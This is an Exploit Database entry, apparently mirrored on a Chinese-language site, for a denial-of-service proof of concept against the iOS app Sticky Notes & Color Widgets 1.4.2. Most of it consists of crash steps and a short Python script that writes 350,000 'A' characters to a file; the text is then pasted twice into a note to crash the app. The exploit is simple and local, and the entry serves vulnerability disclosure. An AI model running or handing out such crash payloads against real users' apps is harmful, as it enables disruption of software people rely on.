Sticky Notes & Color Widgets 1.4.2 – Denial of Service (PoC)

• Exploit Database
• 144 阅读

• 作者： Geovanni Ruiz
  日期： 2021-06-07
• 类别：

  • dos
  平台：

  • ios
• 来源：https://www.exploit-db.com/exploits/49957/
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  # Exploit Title: Sticky Notes & Color Widgets 1.4.2 - Denial of Service (PoC) # Date: 06-04-2021 # Author: Geovanni Ruiz # Download Link: https://apps.apple.com/us/app/sticky-notes-color-widgets/id1476063010 # Version: 1.4.2 # Category: DoS (iOS)   ##### Vulnerability #####   Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:   # STEPS # # Open the program. # Create a new Note. # Run the python exploit script payload.py, it will create a new payload.txt file # Copy the content of the file "payload.txt" # Paste the content from payload.txt twice in the new Note. # Crashed   Successful exploitation will cause the application to stop working.   I have been able to test this exploit against iOS 14.2.   ##### PoC ##### --> payload.py <-- #!/usr/bin/env python buffer = "\x41" * 350000   try: f = open("payload.txt","w") f.write(buffer) f.close() print ("File created") except: print ("File cannot be created")